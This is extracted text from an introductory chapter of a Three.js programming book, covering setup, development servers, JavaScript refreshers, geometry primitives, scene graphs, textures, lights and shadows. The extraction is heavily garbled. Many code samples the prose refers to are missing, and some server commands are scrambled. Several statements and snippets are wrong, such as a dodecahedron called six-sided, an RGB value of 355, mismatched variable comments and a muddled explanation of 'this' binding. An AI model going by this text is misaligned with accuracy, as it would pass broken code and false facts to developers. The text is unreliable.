(Conquering JavaScript) Sufyan Bin Uzayr - Conquering JavaScript - Three - JS-CRC Press (2023)
(Conquering JavaScript) Sufyan Bin Uzayr - Conquering JavaScript - Three - JS-CRC Press (2023)
Have you ever considered how these visuals and games are shown in a web browser? What
technology is at the heart of it? Of course, employing HTML and CSS alone will not be suf-
ficient. Three.js is a free JavaScript toolkit for displaying images, 3D, and 2D objects in web
browsers that enables you to render graphics and 3D objects on a canvas in the web browser
using your GPU (Graphics Processing Unit).
Conquering JavaScript: Three.js helps the reader master the Three.js framework for faster and
robust development. The book is a detailed guide that will help developers and coders do
more with Three.js. It covers the basics in brief, and then moves on to more advanced and
detailed exercises to help readers quickly gain the required knowledge.
Key Features:
This book is a valuable reference for Three.js developers as well as those involved in game
development, mobile apps, progressive applications, and now even desktop apps.
About the Series
https://w w w.routledge.com/Conquering-JavaScript/book-series/
CRCCONJAV
Conquering JavaScript
Three.js
Edited by
Sufyan bin Uzayr
First edition published 2024
by CRC Press
2385 Executive Center Drive, Suite 320, Boca Raton, FL 33431
and by CRC Press
4 Park Square, Milton Park, Abingdon, Oxon, OX14 4RN
CRC Press is an imprint of Taylor & Francis Group, LLC
© 2024 Sufyan bin Uzayr
Reasonable efforts have been made to publish reliable data and information, but the author and
publisher cannot assume responsibility for the validity of all materials or the consequences of their use.
The authors and publishers have attempted to trace the copyright holders of all material reproduced in
this publication and apologize to copyright holders if permission to publish in this form has not been
obtained. If any copyright material has not been acknowledged please write and let us know so we may
rectify in any future reprint.
Except as permitted under U.S. Copyright Law, no part of this book may be reprinted, reproduced,
transmitted, or utilized in any form by any electronic, mechanical, or other means, now known or
hereafter invented, including photocopying, microfilming, and recording, or in any information
storage or retrieval system, without written permission from the publishers.
For permission to photocopy or use material electronically from this work, access www.copyright.com
or contact the Copyright Clearance Center, Inc. (CCC), 222 Rosewood Drive, Danvers, MA 01923,
978-750-8400. For works that are not available on CCC please contact mpkbookspermissions@tandf.co.uk
Trademark Notice: Product or corporate names may be trademarks or registered trademarks and are
used only for identification and explanation without intent to infringe.
DOI: 10.1201/9781003357445
Typeset in Minion
by KnowledgeWorks Global Ltd.
For Dad
Contents
vii
viii ◾ Contents
Servez 29
A Five-Server Node.js 29
Http-Server in Node.js 29
Server in Python 29
Ruby Server 30
Lighttpd 30
IIS 30
FUNDAMENTALS 31
Primitives 31
Box Geometry 31
Flat Circle 31
Solid Cone 32
Cylinder 32
dodecahedron 33
Two Dimension (2D) 33
2D Disc with the Hole in Center 34
Text Geometry 34
Edge Geometry 34
WireframeGeometry 35
Scene Graph 36
MATERIALS 43
TEXTURES 45
Hello Texture 45
Texture Loading Made Simple 45
A Texture Is Being Loaded 45
Textures from Other Sources Are Being Loaded 46
MEMORY UTILIZATION 46
PNG versus JPG 46
TEXTURE REPETITION, OFFSET, ROTATION, AND
WRAPPING 47
Lights 48
x ◾ Contents
AmbientLight 49
HemisphereLight 50
DirectionalLight 50
PointLight 51
SpotLights 51
RectAreaLight 51
CAMERAS 51
Shadows 52
BufferGeometry Custom 52
KEY FEATURES OF Three.js 52
Effects 53
Scenes 53
Animation 53
Mesh Creation 53
Scaling 53
Render 53
Within Three.js, You Can Track Rendering Performance 54
Materials 54
Properties of Common Objects 54
RECAP OF BASICS 54
SUMMARY 55
NOTES 56
Shadows 165
Materials 165
CUSTOM MATERIALS 165
Geometry 165
Textures 166
Anti-Aliasing 166
Postprocessing 166
ARE YOU GETTING RID OF SOMETHING
FROM YOUR SCENE? 166
Set Object in Performance 167
Advanced Tips 168
SUMMARY 168
NOTES 168
BIBLIOGRAPHY, 185
INDEX, 187
About the Editor
Sufyan bin Uzayr is a writer, coder, and entrepreneur with over a decade of
experience in the industry. He has authored several books in the past, per-
taining to a diverse range of topics, ranging from History to Computers/
IT.
Sufyan is the Director of Parakozm, a multinational IT company spe-
cializing in EdTech solutions. He also runs Zeba Academy, an online
learning and teaching vertical with a focus on STEM fields.
Sufyan specializes in a wide variety of technologies, such as JavaScript,
Dart, WordPress, Drupal, Linux, and Python. He holds multiple degrees,
including ones in Management, IT, Literature, and Political Science.
Sufyan is a digital nomad, dividing his time between four countries. He
has lived and taught in numerous universities and educational institutions
around the globe. Sufyan takes a keen interest in technology, politics, lit-
erature, history, and sports, and in his spare time, he enjoys teaching cod-
ing and English to young students.
Learn more at sufyanism.com
xvi
Acknowledgments
There are many people who deserve to be on this page, for this book would
not have come into existence without their support. That said, some names
deserve a special mention, and I am genuinely grateful to:
xvii
Zeba Academy –
Conquering JavaScript
• Divya Sachdeva
• Jaskiran Kaur
• Simran Rao
• Aruqqa Khateib
• Suleymen Fez
• Ibbi Yasmin
• Alexander Izbassar
Zeba Academy is an EdTech venture that develops courses and content for
learners primarily in STEM fields and offers educational consulting and
mentorship to learners and educators worldwide.
xviii
Chapter 1
Introduction
IN THIS CHAPTER
This chapter includes an introductory part that will explore the basic and
core concepts related to Three.js. It will also talk about the advantages and
disadvantages of Three.js.
Every year, web browsers become more powerful, have more capabil-
ities, and perform better. Browsers have grown as a terrific platform for
creating immersive, complicated, and beautiful applications in recent
years. Modern HTML5 technologies like web sockets, local storage, and
advanced CSS approaches for styling are used in the majority of cur-
rent applications. Most recent browsers, on the other hand, support a
technology that may be utilized to produce stunning 3D images and
animations that take full advantage of the GPU (graphics processing
unit). WebGL is the name of the technology, which is supported by the
most recent versions of Firefox, Chrome, Safari, and Internet Explorer.
You may use WebGL to create 3D sceneries that run in your browser
without the use of any plugins. This standard has a lot of support on the
desktop and most recent devices and mobile browsers fully support it.
To make WebGL apps, you’ll need to learn a new language called GLSL
DOI: 10.1201/9781003357445-1 1
2 ◾ Conquering JavaScript: Three.js
and grasp how to use vertex and fragment shaders to render your 3D
geometries.
Fortunately, there are several JavaScript libraries that wrap the WebGL
internals and give a JavaScript API that you may use without having to
comprehend WebGL’s most complicated capabilities. Three.js is one of the
most developed and feature-rich of these libraries.
Three.js was founded in 2010 and offers a huge variety of simple APIs
that expose all of Three.js’ functionality, allowing you to quickly create
complex 3D scenarios and animations in your browser.
Three.js’ APIs allow you to do pretty much anything you want with it.
WHAT IS Three.js?
Three.js is a free JavaScript toolkit for displaying images, 3D, and 2D
objects in web browsers. Behind the scenes, it leverages WebGL API. Three.
js enables you to render graphics and 3D objects on a canvas in the web
browser using your GPU. We can also interact with other HTML compo-
nents because we are utilizing JavaScript. In April 2010, Ricardo Cabello,
computer graphics programmer from Barcelona launched Three.js.
Three.js can be downloaded and the documentation can be found at
https://threejs.org. Because it includes numerous examples and support
materials, the download is fairly huge. Three.js’ primary functionalities
Introduction ◾ 3
are defined in a single huge JavaScript file called “Three.js,” which can be
found in the Three.js download’s build directory.
element. If three.min.js is in the same folder as the web page, for example,
the script element would be
<script src="three.min.js"></script>
• Three.js,
• three.min.js, and
• three.module.js.
npm i three
Then, by referring to the three packages, you may import Three.js from
the three.module.js file into your JavaScript file: (“Introduction to Three.
js – GeeksforGeeks”)
You may also add the package using the following command in the
terminal window if you prefer Yarn to NPM:
<script src="https://threejs.org/build/three.js">
</script>
• cdnjs.com
• www.jsdelivr.com
A Computer
First and foremost, you will require a computer; but it does not need to be
fast, fancy, or equipped with a strong graphics card. It might be better to
have a slow PC with a bad GPU because you’ll be able to experience your
programs the same way the majority of your users do.
Three.js Developer
As a Three.js developer, you’ll require a basic understanding of HTML and
CSS, as well as some JavaScript. You do not have to be a professional in any
of these fields, though.
Web Browser
Almost any online browser can execute Three.js, and the percentage of
outdated browsers that can’t is small and shrinking fast. You can even run
a Three.js app on Internet Explorer 9, which was published in 2011 and
only accounts for less than 0.1% of all web users at the time of writing this
chapter. The majority of people nowadays use a modern browser to access
the Internet, so browser support isn’t a concern.
You can also run Three.js programs in a variety of exotic settings, such
as Node.js, Electron.js, or React Native; however, this requires some effort
and is beyond the scope of this book. We’ll concentrate on using modern
web browsers like Firefox, Chrome, Edge, and Safari to execute your app.
Web Server
Any JavaScript mentioned in an HTML file will run when opened directly
in a web browser. This is how many simple Three.js examples work. Due
to browser security restrictions, you cannot load graphics or 3D models
without first setting up a web server. You need to establish a local devel-
opment server if you wish to run a Three.js scene with assets like mod-
els or textures. All of the examples in this book use a fancy custom-built
inline code editor within the page to bypass this requirement, but you’ll
need to set up a server once you start constructing your own apps. Many
simple web servers for development are available. These are simple to put
up; however, they can only accommodate a small number of simultaneous
visitors. They are, nevertheless, ideal for testing your work locally before
publishing it. When you’re ready to launch your website, you’ll switch to a
high-performance production server like Apache or Nginx (pronounced
engine-x, apparently).
These can accommodate hundreds or even millions of simultaneous
visitors to your site, but they are difficult to set up. Fortunately, there are
numerous web hosting businesses that can handle this for you. When
you’re ready to set up a development server, consult the Three.js docu-
mentation’s how to run things locally guide, which contains a wealth of
information on the subject.
development, and it’s typically the only one you’ll need. Every major
browser includes one, which you can normally access by using the F12 key.
WebGL-Supported Device
WebGL is a programmable interface, or JavaScript API, for generating
dynamic 2D and 3D graphics in web pages. WebGL connects your web
browser to your device’s graphics hardware, giving you significantly more
graphical processing power than a standard website can offer.
WebGL is utilized by Three.js to display 3D visuals, but it can also be
used for 2D graphics, as in Alexander Perrin’s wonderful Short Trip, or
even General Purpose GPU computing, as in these flocking behavior and
protoplanetary examples.
To use WebGL, you’ll need a compatible device and browser. This was
once something to be concerned about, but nowadays you can assume that
all devices support WebGL and that every current smartphone, tablet, PC,
laptop, and even smartwatch has a graphics card capable of executing a
simple 3D scene. According to caniuse.com and webglstats.com, roughly
98% of Internet users use WebGL-compatible devices at the time of writ-
ing this chapter. If you do need to support the last 2%, the WebGL com-
patibility check explains how to deliver a fallback or warning message to
users whose devices don’t support WebGL.
This is a great illustration of how Three.js can be used to not only create
virtual experiences but also to construct businesses based on 3D design.
Advantages
We have now learned a lot about the Three.js; so here are few advantages
that are mentioned below:
Disadvantages
Three.js is associated with few disadvantages that are mentioned below:
CORE CONCEPT
Three.js is a free JavaScript library that lets you create and render three-
dimensional scenarios right in your browser. Three.js has a big collec-
tion of functions and a rich API for this. Three.js is a 3D toolkit that
aims to make displaying 3D material on a webpage as simple as pos-
sible. Three.js’ source code is available on a GitHub repository. JavaScript
can be used to create GPU-accelerated 3D animations. Three.js is fre-
quently confused with WebGL since it frequently, but not always, uses
WebGL to draw 3D. WebGL is a low-level graphics system that can only
draw points, lines, and triangles. To achieve anything worthwhile with
WebGL, you’ll almost always need a lot of code, which is where Three.js
comes in. Scenes, lights, shadows, materials, textures, and 3d math are
all handled by it, which you’d have to code yourself if you used WebGL
directly.
Let’s start by trying to give you an understanding of how a Three.js
project is structured. A Three.js project necessitates the creation of a num-
ber of objects and their connections.
ADAPTIVE DESIGN
It will teach you how to make your Three.js app respond to any cir-
cumstance. Making a webpage responsive means that it works effec-
tively on a variety of screen sizes, from computers to tablets to phones.
There are even more scenarios to explore with Three.js. We might want
to handle a 3D editor with controls on the left, right, top, or bottom,
for example. Another example is a live diagram in the center of a docu-
ment. We used a plain canvas with no CSS and no size in the previous
example.
<canvas id="c"></canvas>
The default canvas size is 300 × 150 CSS pixels. CSS is the recommended
method for setting the size of something on the web platform.
Introduction ◾ 13
<style>
html, body {
margin: 0;
height: 100%;
}
#c {
width: 100%;
height: 100%;
display: block;
}
</style>
function render(time) {
time *= 0.001;
14 ◾ Conquering JavaScript: Three.js
The result can be visualized on the page.2 Now let us fix the problem of
blockiness.
There are two sizes of canvas elements. The canvas is presented on the
page in a single size. That’s what CSS allows us to do. The amount of pixels
in the canvas itself is the other size. This is similar to a photograph. For
instance, a 128 × 64-pixel image may be shown as 400 × 200 pixels using
CSS.
Drawing buffer size refers to the internal size of a canvas, or its resolu-
tion. By executing renderer.setSize in Three.js, we may change the drawing
buffer size of the canvas. Which size should we choose? “The same size as
the canvas depicted” is the most obvious response. Again, we can use the
canvas’s client Width and client Height parameters to do this.
Let’s construct a function that checks if the renderer’s canvas isn’t
already the size it’s being displayed as and sets it to that size if it isn’t.
function resizeRendererToDisplaySize(renderer) {
const canvas = renderer.domElement;
const width = canvas.clientWidth;
const height = canvas.clientHeight;
const needResize = canvas.width !== width || canvas.
height !== height;
if (needResize) {
renderer.setSize(width, height, false);
}
return needResize;
}
sets the canvas’s CSS size by default, but this isn’t what we want. We want
the browser to behave as it does for all other elements, which is to utilize
CSS to decide the element’s display size. We don’t want the three canvases
to be different from the other pieces.
If the canvas was resized, our function returns true. We can utilize
this to see if there are any additional items that need to be updated. Let’s
update our render loop to take advantage of the new function.
function render(time) {
time *= 0.001;
if (resizeRendererToDisplaySize(renderer)) {
const canvas = renderer.domElement;
camera.aspect = canvas.clientWidth / canvas.
clientHeight;
camera.updateProjectionMatrix();
}
renderer.setPixelRatio(window.devicePixelRatio);
Any calls to renderer after that. setSize will utilize the size you specified
multiplied by the pixel ratio you specified. This is strictly discouraged. See
what follows. You can also do it yourself while resizing the canvas.
function resizeRendererToDisplaySize(renderer) {
const canvas = renderer.domElement;
const pixelRatio = window.devicePixelRatio;
const width = canvas.clientWidth * pixelRatio
| 0;
const height = canvas.clientHeight * pixelRatio
| 0;
const needResize = canvas.width !== width ||
canvas.height !== height;
if (needResize) {
renderer.setSize(width, height, false);
}
return needResize;
}
Prerequisites
They assume you’re familiar with JavaScript programming. They pre-
sume you understand the DOM, HTML, and how to build DOM ele-
ments in JavaScript. They assume you’re familiar with es6 modules and
how to utilize them using import and <script type=“module”> tags. They
assume you’re familiar with CSS and know what CSS selectors are. They
also assume you’re familiar with ES5, ES6, and possibly ES7. They assume
you’re aware that JavaScript is only executed via events and callbacks in
the browser. They think you’re familiar with the term “closure.”
Here are some quick reminders and notes.
Modules es6
The import keyword in a script or the <script type=“module”> tag can be
used to load es6 modules inline. Here’s an illustration of both.
<script type="module">
import * as THREE from '../../build/three.module.js';
...
</script>
<body onload="somefunction()"
<html>
<head>
...
</head>
Introduction ◾ 19
<body>
...
</body>
<script>
// inline javascript
</script>
</html>
function a(v) {
const foo = v;
return function() {
return foo;
};
}
const f = a(120);
const g = a(556);
console.log(f()); // prints 120
console.log(g()); // prints 556
The function “an” in the code above produces a new function each time it
is invoked. Over the variable “foo,” that function ends.
When you call a function with the dot operator, this will be null (in
strict mode or in a module). Similar to this.
someobject.somefunction(d, e, f);
Because loader.load does not use the dot. operator when calling the
callback, this will be null by default (unless the loader explicitly sets it to
something). You must notify JavaScript that this will be someobject when
the callback occurs by binding it to the function.
ES5/ES6/ES7 Stuff
The stuff var in ES5/ES6/ES7 is obsolete. Make use of const and/or let.
There is never a good reason to use var. It’s also considered bad
practice to use it at this time. If the variable will never be reallocated,
which is the case most of the time, use const. In circumstances where
the value changes, use let. This will aid in the prevention of numerous
bugs.
Employ Destructuring
Assume an object with the following dimensions: width: 300, height: 150.
Earliest code
New code
const a = position[3];
const b = position[4];
New code
const [, a, b] = position;
const obj = {
width: wide,
height: heigh,
area: function() {
return this.width * this.height
},
};
New code
Or Clone an Array
const copiedPositionArray = [...posit];
copiedPositionArray.push(7); // [8,9,10,11]
console.log(posit); // [8,9,10] position is unaffected
Introduction ◾ 23
Or Combining Objects
const e = {efg: 678};
const f = {hij: 456};
const g = {...e, ...f}; // c is now {efg: 678, hij: 456}
Employ Class
Prior to ES5, most programmers were unfamiliar with the syntax for cre-
ating class-like objects. You can now use the class keyword in ES5, which
is more similar to the C++/C#/Java paradigm.
Recognize Getters and Setters
In most current languages, getters and setters are prevalent. The ES5 class
syntax makes them a lot easier than they were before.
loader.load((texture) => {
// use texture
});
This is bound to the context in which you build the arrow function with
arrow functions.
is an abbreviation for
Template literals have two main characteristics. One is that they can
have multiple lines.
Example:
const a = 150;
const b = 355;
const c = 84;
const rgbCSSColor = 'rgb(${a},${b},${c})';
Or
Or
Setup
Before we continue, let’s talk about how to set up your machine for devel-
opment. WebGL, in particular, cannot use images directly from your hard
drive for security concerns. That means you’ll need a web server to accom-
plish any work. Fortunately, setting up and using development web servers
is a breeze.
To begin, you can download the full site by clicking this link. To unpack
the files, double-click the zip file once it has been downloaded.
Then, get one of these easy web servers. Servez7 is a web server with a
user interface if you desire that.
servez path/to/folder/where/you/unzipped/files
Or if you’re like me
cd path/to/folder/where/you/unzipped/files servez
Installation
You can use npm and modern build tools to install Three.js, or you can use
static hosting or a CDN to get started quickly. Installing using npm is the
best option for most users.
26 ◾ Conquering JavaScript: Three.js
Whatever method you use, be consistent and import all files from the
same library version. Mixing files from multiple sources may result in
duplicate code or possibly cause the application to break unexpectedly. All
Three.js installation methods rely on ES modules,8 which allow you to just
include the components of the library that are required in the final project.
It will download and install the package. Then import it into your code
as follows:
Option 1: Import the full core library of Three.js.
Node.js
It’s tough to use Three.js in Node.js for two reasons:
Because Three.js is a web framework, it relies on browser and DOM
APIs that aren’t necessarily available in Node.js. Some of these problems
can be overcome by utilizing shims like headless-gl or customizing com-
ponents like TextureLoader. Other DOM APIs may be tightly coupled
with the code that uses them, making them more difficult to work around.
Simple and maintainable pull contributions to improve Node.js support
are encouraged; however, we recommend first opening an issue to discuss
your changes.
you may use the following method to check and display a message to
the user. Before attempting to render anything, add https://github.com/
mrdoob/three.js/blob/master/examples/jsm/capabilities/WebGL.js to your
JavaScript and run the following.
if ( WebGL.isWebGLAvailable() ) {
// Initiate function or other initializations here
animate();
} else {
const warning = WebGL.getWebGLErrorMessage();
document.getElementById( 'container' ).appendChild
( warning );
}
A Remote Server
Many programming languages include built-in HTTP servers. Although
they lack the functionality of production servers like Apache or NGINX,
they should suffice for testing your Three.js application. Plugins for the
Introduction ◾ 29
most popular text editors. Some code editors offer plugins that will auto-
matically launch a basic server.
Servez
It is a basic server with a graphical user interface.
A Five-Server Node.js
It is a development server with live reloading. To set up:
Http-Server in Node.js
A simple HTTP server package is included with Node.js. To set up:
-p 8000 http-server
Server in Python
If you have Python installed, you should be able to run the following com-
mand from the command line (in your working directory):
This will serve files from the current directory at localhost on port
8000, that is, type:localhost: 8000 in the address bar.
http://localhost:8000/
Ruby Server
You may obtain the same result if you have Ruby installed instead:
localhost:8000 | php -S
Lighttpd
Lighttpd is a general-purpose webserver that is extremely light. We’ll use
HomeBrew to install it on OSX. Lighttpd, unlike the other servers men-
tioned here, is a fully functional production server.
• In the location where you wish to start your webserver, create a con-
figuration file called lighttpd.conf.
• Change the server.document-root setting in the conf file to the direc-
tory where you want to serve files.
• Use lighttpd -f lighttpd.conf to start it.
• Go to http://localhost:3000/ to see static files from the directory you
specified.
IIS
If you’re running a web server with Microsoft IIS. Before loading, please
add a MIME-type setting for the .fbx extension.
File name extension: fbx MIME Type: text/plain
IIS blocks by default. Downloads of fbx and .obj files. To permit these
file types to be downloaded, you must set up IIS.
Introduction ◾ 31
FUNDAMENTALS
This section will explain about all the fundamentals that are used in
Three.js.
Primitives
There are a lot of primitives in Three.js. Primitives are 3D shapes that are
created in real time using a set of parameters.
For example, a sphere for a globe or a group of boxes to build a 3D
graph, primitives are commonly used. Primitives are frequently used to
explore with 3D and get started. It’s more typical for most 3D apps to
have an artist create 3D models with a 3D modeling program like Blender,
Maya, or Cinema 4D.
Many of the primitives listed below contain default values for some or
all of their parameters, allowing you to utilize more or less depending on
your requirements.
Box Geometry
For creating box, the following syntax will be used:
Flat Circle
const radius = 5; // ui: radius
const segments = 20; // ui: segments
const geometry = new THREE.CircleGeometry(radius,
segments);
32 ◾ Conquering JavaScript: Three.js
or
Solid Cone
const radius = 10; // ui: radius
const height = 12; // ui: height
const radialSegments = 20; // ui: radialSegments
const geometry = new THREE.ConeGeometry(radius,
height, radialSegments);
or
Cylinder
const radiusTop = 6; // ui: radiusTop
const radiusBottom = 6; // ui: radiusBottom
const height = 12; // ui: height
const radialSegments = 14; // ui: radialSegments
const geometry = new THREE.CylinderGeometry(
radiusTop, radiusBottom, height, radialSegments);
Introduction ◾ 33
or
dodecahedron
A dodecahedron is a six-sided polyhedron (12 sides)
or
const width = 10; // ui: width
const height = 10; // ui: height
const widthSegments = 4; // ui: widthSegments
const heightSegments = 4; // ui: heightSegments
const geometry = new THREE.PlaneGeometry(
width, height,
widthSegments, heightSegments);
34 ◾ Conquering JavaScript: Three.js
Text Geometry
A 3D font and a string were combined to create 3D text.
Edge Geometry
A helper object which accepts other geometric as an input and only con-
structs edges if the angle between faces exceeds a certain threshold. When
Introduction ◾ 35
you look at the box at the top, for example, you can see a line that runs
through each face, indicating each triangle that makes up the box. The
center lines are deleted using an EdgesGeometry instead. If you lower the
thresholdAngle, the edges below that threshold will vanish.
or
WireframeGeometry
In the specified geometry, WireframeGeometry generates geometry with
one line segment (two points) per edge. Because WebGL requires two
points per line segment, you’d frequently miss edges or get extra edges
if you didn’t do this. There would only be three points if all you had was
a single triangle. If you tried to draw it using a wireframe: true mate-
rial, you’d only get a single line. By passing that triangular geometry to a
WireframeGeometry, a new geometry with three lines segments and six
points is created.
new THREE.BoxGeometry(
size, size, size,
widthSegments, heightSegments, depthSegments));
Scene Graph
Three.js’ scene graph is likely its most important feature. In a 3D engine,
a scene graph is a graph structure with each node representing a local
region.
We’re utilizing a sphere with very few polygons. There are just six sub-
divisions near the equator. This makes the rotation clear to see. Because
we’ll be using the same sphere for everything, we’ll scale the sun mesh to
5×. The emissive feature of the phong material was also set to yellow. The
emissive property of a phong material is the color that will be drawn when
no light hits the surface. That color is given more light. We’ll also add a
single-point light to the scene’s center. We’ll go into point lights in greater
detail later, but for now, know that a point light is light that comes from a
single point.
{
const color = 0xAAAAAA;
const intensity = 5;
const light = new THREE.PointLight(color,
intensity);
scene.add(light);
}
We’ll position the camera precisely above the origin, looking down, to
make it easier to see. The lookAt function is the simplest way to accomplish
this. The lookAt function will orient the camera to “look at” the position
we supply to it. But first, we must inform the camera which way the top of
the camera is facing, or which direction is “up” for the camera. Positive Y
38 ◾ Conquering JavaScript: Three.js
This code, based from earlier examples, rotates all items in our objects
array in the render loop.
objects.forEach((obj) => {
obj.rotation.y = time;
});
The sunMesh9 will revolve now that we’ve added it to the objects array.
Let’s now add the earth.
scene.add(earthMesh);
sunMesh.add(earthMesh);
of the sunMesh is 6 times larger. Anything you put there will be multi-
plied by Six. The earth is now 6 times larger, and its distance from the sun
(earthMesh.position.x = 15) is also 6 times greater.
Add an empty scene graph node to fix it. Both the sun and the earth
will be parented to that node.
We’ve added extra scene graph nodes that aren’t visible. The first was
a new Object3D named earthOrbit, which included both the earthMesh
and the moonOrbit. The moonMesh was then added to the moonOrbit.
This is how the new scene graph appears.10
To illustrate the nodes in the scene graph, it’s typically useful to draw
something. Three.js offers some helpers that can assist you with this.
AxesHelper is a kind of Axes. The local A, B, and C axes are represented
by three lines. Let’s put one on each of the nodes we’ve made.
We want the axes to show up even if they are inside the spheres in our
situation. To accomplish this, we set the depthTest property of their mate-
rial to false, indicating that they will not check to see if they are drawing
behind something else. We also changed their renderOrder to 1 (from 0)
Introduction ◾ 41
so that they appear after the spheres. Otherwise, a sphere may draw over
them and obscure them.
Because there are two sets of overlapping axes, some of them may be
difficult to see. The sunMesh and solarSystem are both in the same place.
The earthMesh and earthOrbit are also in the same place. Let’s add some
simple controls to each node so we can switch them on and off. Let’s add
another assist called the GridHelper while we’re at it. On the X, Z plane, it
creates a 2D grid. The grid is 10 × 10 units by default.
We’re also going to use lil-gui, which is a popular UI framework for
Three.js projects. lil-gui accepts an object and a property name on that
object and creates a UI to manipulate that property based on the kind
of property. For each node, we want to create a GridHelper and an
AxesHelper. We need a label for each node, so we’ll abandon the old loop
and instead call a method to add the node’s helpers.
we’ll create a class with a property getter and setter. We can fool lil-gui
into thinking it’s altering a single property while setting the visible prop-
erty of both the AxesHelper and GridHelper for a node internally.
/ Enables/disables the visibility of both the axes and the grid / We create
a setter and getter for “visible,” which we can instruct lil-gui / to look at,
because lil-gui requires a property that returns a bool / to decide to make
a checkbox.
class AxisGridHelper {
constructor(node, units = 10) {
const axes = new THREE.AxesHelper();
axes.material.depthTest = false;
axes.renderOrder = 2; // after the grid
node.add(axes);
const grid = new THREE.GridHelper(units, units);
grid.material.depthTest = false;
grid.renderOrder = 1;
node.add(grid);
this.grid = grid;
this.axes = axes;
this.visible = false;
}
get visible() {
return this._visible;
}
set visible(v) {
this._visible = v;
this.grid.visible = v;
this.axes.visible = v;
}
}
This helps us understand how scene graphs operate and how to use
them. Making Object3D nodes and parenting objects to them is a crucial
step in getting the most out of a 3D engine like Three.js. It may appear
that complicated math is required to make things move and rotate in the
desired manner.
For example, figuring the velocity of the moon or where to place the
wheels of a car relative to its body would be quite difficult without a scene
graph, but with one, it becomes considerably easy.
MATERIALS
This is part of a Three.js series. Three.js foundations is the first article. If
you’re new to Three.js, you should start there if you haven’t already. Three.
js has a variety of materials to choose from. They specify how the scene’s
items will appear. The materials you use are mostly determined by the task
at hand. Most material attributes can be set in two ways. We’ve already
seen one from the beginning.
You can also pass a hex number or a CSS string at the time of
construction.
TEXTURES
In Three.js, textures are a big topic, and I’m not sure how to describe them
at what level, but I’ll try. There are numerous issues, and many of them are
interconnected, so explaining them all at once is difficult.
Hello Texture
Theses textures are typically pictures made in a third-party software such
as Photoshop or GIMP. Let’s use this image as an example.
One of our first examples will be modified. We only need to develop a
TextureLoader. Instead of specifying the material’s color, call its load method
with the URL of a picture and set the material’s map property to the result.
To wait for a texture to load, use the texture loader’s load method,
which takes a callback that will be invoked after the texture has finished
loading.
MEMORY UTILIZATION
Textures are frequently the most memory-intensive aspect of a Three.js
app. It’s vital to remember that textures typically consume width × height
× 4 × 1.33 bytes of memory.
const timesToRepeatHorizontally = 6;
const timesToRepeatVertically = 4;
someTexture.repeat.set(timesToRepeatHorizontally, timesToRepeat
Vertically);
Setting the offset property can be used to offset the texture. Units are
used to offset textures, with one unit equaling one texture size. In other
words, 0 indicates no offset and 1 indicates a full texture offset.
someTexture.center.set(1.5, 1.5);
someTexture.rotation = THREE.MathUtils.degToRad(50);
Lights
Let’s look at three different types of lighting and how to use them. Let’s
update the camera by starting with one of our prior examples. The field
of view will be 50°, the far plane will be 150 units, and the camera will be
moved 15 units up and 25 units back from the origin.
After that, we’ll add OrbitControls. The user can rotate or orbit the
camera around a point using OrbitControls. Because the OrbitControls
are a Three.js optional feature, we must first add them in our website.
We also configured the target to orbit 8 units above the origin before
calling the controls. Change the controls so that they utilize the new target.
AmbientLight
Let's start by creating an AmbientLight.
const color = 0x000000;
const intensity = 1;
const light = new THREE.AmbientLight(color,
intensity);
scene.add(light);
HemisphereLight
Switch to a HemisphereLight in the code. A HemisphereLight takes a
sky color and a ground color and simply multiplies the material’s color
between them – the sky color if the object’s surface is facing up and the
ground color if the object’s surface is pointing down.
Here’s the new code:
DirectionalLight
Switch to a DirectionalLight in the code. The sun is frequently represented
with a DirectionalLight.
The light and the light.target had to be added to the scenario. A Three.
js DirectionalLight shines in the target’s direction.
Three.js includes a number of auxiliary objects that we can use to visu-
alize hidden areas of a scene. We’ll use the DirectionalLightHelper to
draw a plane to represent the light and a line from the light to the target in
this case. We simply give it light and place it in the scene.
const helper = new THREE.DirectionalLightHelper(light);
scene.add(helper);
Introduction ◾ 51
PointLight
A PointLight is a light that rests at a single point and radiates light in all
directions. Let us alter the code.
SpotLights
These are essentially a point light with a cone attached to it, with the light
shining just inside the cone. There are two cones in total. There are two
cones: an outer and an inner cone. The light diminishes from full intensity
to zero between the inner and outer cones. A target, like a directional light,
is required to use a SpotLight. The cone of light will open up toward the goal.
RectAreaLight
Another sort of light is the RectAreaLight, which is exactly what it
sounds like: a rectangular area of light, such as a long fluorescent light
or a frosted sky light in a ceiling. Because the RectAreaLight only works
with MeshStandardMaterial and MeshPhysicalMaterial, we’ll switch to
MeshStandardMaterial for all of our materials.
We’ll include the RectAreaLightHelper to assist us visualize the light
and some extra Three.js optional data to use the RectAreaLight.
It’s vital to remember that each light you add to the scene slows down
how quickly Three.js renders the scene, so use as few as possible to meet
your aims.
CAMERAS
In Three.js, let’s speak about cameras. The PerspectiveCamera is the most
frequent camera in Three.js and the one we’ve been utilizing up to this
52 ◾ Conquering JavaScript: Three.js
Shadows
On computers, shadows can be a difficult subject. There are a variety of
options available, all of which involve compromises, including the Three.
js solutions. Shadow maps are used by default in Three.js. A shadow map
works by rendering all objects identified to cast shadows from the point of
view of the light for each light that casts shadows.
Move the light around using the position GUI options to observe the
shadows fall on all the walls. You may also vary the near and far settings
to see how shadows change depending on how close or far something is.
When something is closer than near, it no longer receives a shadow, and
when it is further than far, it is constantly in shadow.
BufferGeometry Custom
Three.js uses BufferGeometry to represent every geometry. A
BufferGeometry is nothing more than a collection of BufferAttributes.
Each BufferAttribute is an array of a certain sort of data: locations, nor-
mals, colors, UV, and so on. The BufferAttributes represent parallel arrays
of all the data for each vertex when used together.
There are other features like fog and render targets that can be explored
to make any web pages look attractive and beautiful.
Effects
Barriers to anaglyph, cross-eyed vision, and parallax, there is one filter
in Three.js called “ShaderSkin” that can use or modify my own shader.
You can modify the skin tone of your face to make it appear more
realistic.
Scenes
It allows you to specify what and where Three.js should render. This is
where you’ll put things like lighting and cameras: run-time object addi-
tion and removal; fog. The addition of visual effects or filters to your entire
scene is known as postprocessing. This can change the mood of the scene
and imitate cool visual effects.
Animation
You may animate many aspects of your models using the Three.js anima-
tion engine. Armatures, forward kinematics, inverse kinematics, morph,
and keyframe are all examples of kinematics.
Mesh Creation
Mesh refers to the skeleton that makes up the figure of 3D things. Faces,
edges, and vertices are the three elements that make up a polygonal mod-
el’s mesh. Primitives are geometric meshes, such as spheres, planes, cubes,
and cylinders that are relatively simplistic. API design, Canvas Renderer,
and SVGRenderer are three designs that can be used to give a mesh an
outline effect.
Scaling
A fixed object can also be measured. For counting the forgotten time, we’ll
need an auxiliary variable called t. It should come before the render ()
method. The pixels that you have drawn alter when you zoom the camera
or scale the object(s).
Render
If you’re going to do the loop, requestAnimationFrame is the way to go.
It is the most efficient method of handling animation in the browser. Any
